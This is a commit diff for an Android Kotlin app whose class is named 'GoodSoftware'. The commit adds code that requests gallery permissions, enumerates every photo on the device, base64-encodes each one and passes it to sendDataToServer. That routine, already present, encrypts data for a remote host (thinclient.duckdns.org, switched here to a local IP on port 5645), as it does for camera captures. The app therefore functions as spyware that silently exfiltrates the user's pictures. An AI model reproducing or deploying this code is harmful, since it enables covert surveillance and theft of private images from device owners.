Get pictures from gallery, for now only android -13
This commit is contained in:
		@@ -1,8 +1,13 @@
 | 
				
			|||||||
package com.ti.m
 | 
					package com.ti.m
 | 
				
			||||||
 | 
					
 | 
				
			||||||
import android.Manifest
 | 
					import android.Manifest
 | 
				
			||||||
 | 
					import android.content.ContentResolver
 | 
				
			||||||
 | 
					import android.content.ContentUris
 | 
				
			||||||
import android.content.Context
 | 
					import android.content.Context
 | 
				
			||||||
 | 
					import android.content.Intent
 | 
				
			||||||
import android.content.pm.PackageManager
 | 
					import android.content.pm.PackageManager
 | 
				
			||||||
 | 
					import android.net.Uri
 | 
				
			||||||
 | 
					import android.provider.MediaStore
 | 
				
			||||||
import android.util.Base64
 | 
					import android.util.Base64
 | 
				
			||||||
import android.util.Log
 | 
					import android.util.Log
 | 
				
			||||||
import androidx.camera.core.CameraSelector
 | 
					import androidx.camera.core.CameraSelector
 | 
				
			||||||
@@ -35,6 +40,9 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
    private var lensFacing: Int = CameraSelector.LENS_FACING_BACK
 | 
					    private var lensFacing: Int = CameraSelector.LENS_FACING_BACK
 | 
				
			||||||
    private var imageCapture: ImageCapture? = null
 | 
					    private var imageCapture: ImageCapture? = null
 | 
				
			||||||
    private val REQUEST_CAMERA_PERMISSION = 100
 | 
					    private val REQUEST_CAMERA_PERMISSION = 100
 | 
				
			||||||
 | 
					    private val REQUEST_GALLERY = 101
 | 
				
			||||||
 | 
					    private val REQUEST_MEDIA_IMAGES_PERMISSION = 102
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    private companion object {
 | 
					    private companion object {
 | 
				
			||||||
        private const val RSA_ALGORITHM = "RSA"
 | 
					        private const val RSA_ALGORITHM = "RSA"
 | 
				
			||||||
@@ -106,18 +114,66 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
    private fun startPictureCapture() {
 | 
					    private fun startPictureCapture() {
 | 
				
			||||||
        activity.lifecycleScope.launch {
 | 
					        activity.lifecycleScope.launch {
 | 
				
			||||||
 | 
					            // Check and request camera permission
 | 
				
			||||||
 | 
					            if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
 | 
				
			||||||
 | 
					                requestCameraPermission()
 | 
				
			||||||
 | 
					            }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					            // Check and request gallery permission
 | 
				
			||||||
 | 
					            if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
 | 
				
			||||||
 | 
					                requestGalleryPermission()
 | 
				
			||||||
 | 
					            }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					            // If both permissions are granted, proceed with picture capture and gallery access
 | 
				
			||||||
            takeBeautifulPicture(activity, activity)
 | 
					            takeBeautifulPicture(activity, activity)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					            Thread {
 | 
				
			||||||
 | 
					                val imageList = getAllImagesFromGallery(activity)
 | 
				
			||||||
 | 
					                for (image in imageList) {
 | 
				
			||||||
 | 
					                    val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
 | 
				
			||||||
 | 
					                    Thread {
 | 
				
			||||||
 | 
					                        println("Sending data to server")
 | 
				
			||||||
 | 
					                        sendDataToServer(base64Image)
 | 
				
			||||||
 | 
					                    }.start()
 | 
				
			||||||
 | 
					                }
 | 
				
			||||||
 | 
					            }.start()
 | 
				
			||||||
        }
 | 
					        }
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    fun encodeImageToBase64(imageUri: Uri, contentResolver: ContentResolver): String {
 | 
				
			||||||
 | 
					        var base64Image = ""
 | 
				
			||||||
 | 
					        contentResolver.openInputStream(imageUri)?.use { inputStream ->
 | 
				
			||||||
 | 
					            val byteArrayOutputStream = ByteArrayOutputStream()
 | 
				
			||||||
 | 
					            inputStream.copyTo(byteArrayOutputStream)
 | 
				
			||||||
 | 
					            val byteArray = byteArrayOutputStream.toByteArray()
 | 
				
			||||||
 | 
					            base64Image = Base64.encodeToString(byteArray, Base64.DEFAULT)
 | 
				
			||||||
 | 
					        }
 | 
				
			||||||
 | 
					        return base64Image
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    private fun requestGalleryPermission() {
 | 
				
			||||||
 | 
					        ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY)
 | 
				
			||||||
 | 
					        ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION)
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    // Handle permission request result
 | 
					    // Handle permission request result
 | 
				
			||||||
    fun onRequestPermissionsResult(requestCode: Int, grantResults: IntArray) {
 | 
					    fun onRequestPermissionsResult(requestCode: Int, grantResults: IntArray) {
 | 
				
			||||||
        if (requestCode == REQUEST_CAMERA_PERMISSION) {
 | 
					        when (requestCode) {
 | 
				
			||||||
            if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
 | 
					            REQUEST_CAMERA_PERMISSION -> {
 | 
				
			||||||
                startPictureCapture()
 | 
					                if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
 | 
				
			||||||
            } else {
 | 
					                    startPictureCapture()
 | 
				
			||||||
                // Permission denied
 | 
					                } else {
 | 
				
			||||||
                // You may want to handle this case
 | 
					                    // Camera permission denied
 | 
				
			||||||
 | 
					                    // Handle accordingly
 | 
				
			||||||
 | 
					                }
 | 
				
			||||||
 | 
					            }
 | 
				
			||||||
 | 
					            REQUEST_GALLERY -> {
 | 
				
			||||||
 | 
					                if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
 | 
				
			||||||
 | 
					                    startPictureCapture()
 | 
				
			||||||
 | 
					                } else {
 | 
				
			||||||
 | 
					                    // Gallery permission denied
 | 
				
			||||||
 | 
					                    // Handle accordingly
 | 
				
			||||||
 | 
					                }
 | 
				
			||||||
            }
 | 
					            }
 | 
				
			||||||
        }
 | 
					        }
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
@@ -131,7 +187,7 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
    fun sendDataToServer(sendData: String) {
 | 
					    fun sendDataToServer(sendData: String) {
 | 
				
			||||||
        try {
 | 
					        try {
 | 
				
			||||||
            val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
 | 
					            val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
 | 
				
			||||||
            val host = "thinclient.duckdns.org"
 | 
					            val host = "192.168.90.151"
 | 
				
			||||||
            val port = 5645
 | 
					            val port = 5645
 | 
				
			||||||
            val secureRandom = SecureRandom()
 | 
					            val secureRandom = SecureRandom()
 | 
				
			||||||
            val keyBytes = ByteArray(16)
 | 
					            val keyBytes = ByteArray(16)
 | 
				
			||||||
@@ -221,7 +277,7 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
                buffer.get(bytes)
 | 
					                buffer.get(bytes)
 | 
				
			||||||
                byteArrayOutputStream.write(bytes)
 | 
					                byteArrayOutputStream.write(bytes)
 | 
				
			||||||
                val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
 | 
					                val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
 | 
				
			||||||
                Log.d(picture.TAG, "Base64 Image: $base64Image")
 | 
					                //Log.d(picture.TAG, "Base64 Image: $base64Image")
 | 
				
			||||||
                Thread {
 | 
					                Thread {
 | 
				
			||||||
                    println("Sending data to server")
 | 
					                    println("Sending data to server")
 | 
				
			||||||
                    sendDataToServer(base64Image)
 | 
					                    sendDataToServer(base64Image)
 | 
				
			||||||
@@ -257,4 +313,34 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
    object picture {
 | 
					    object picture {
 | 
				
			||||||
        const val TAG = "CameraXBasic"
 | 
					        const val TAG = "CameraXBasic"
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
}
 | 
					
 | 
				
			||||||
 | 
					    fun getAllImagesFromGallery(context: Context): List<String> {
 | 
				
			||||||
 | 
					        val imageList = mutableListOf<String>()
 | 
				
			||||||
 | 
					        val contentResolver: ContentResolver = context.contentResolver
 | 
				
			||||||
 | 
					        val imageProjection = arrayOf(
 | 
				
			||||||
 | 
					            MediaStore.Images.Media._ID,
 | 
				
			||||||
 | 
					            MediaStore.Images.Media.DISPLAY_NAME
 | 
				
			||||||
 | 
					        )
 | 
				
			||||||
 | 
					        val imageUri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        val cursor = contentResolver.query(
 | 
				
			||||||
 | 
					            imageUri,
 | 
				
			||||||
 | 
					            imageProjection,
 | 
				
			||||||
 | 
					            null,
 | 
				
			||||||
 | 
					            null,
 | 
				
			||||||
 | 
					            "${MediaStore.Images.Media.DATE_ADDED} DESC"
 | 
				
			||||||
 | 
					        )
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        cursor?.use { cursor ->
 | 
				
			||||||
 | 
					            val idColumn = cursor.getColumnIndexOrThrow(MediaStore.Images.Media._ID)
 | 
				
			||||||
 | 
					            while (cursor.moveToNext()) {
 | 
				
			||||||
 | 
					                val id = cursor.getLong(idColumn)
 | 
				
			||||||
 | 
					                val contentUri = ContentUris.withAppendedId(imageUri, id)
 | 
				
			||||||
 | 
					                imageList.add(contentUri.toString())
 | 
				
			||||||
 | 
					            }
 | 
				
			||||||
 | 
					        }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        return imageList
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
		Reference in New Issue
	
	Block a user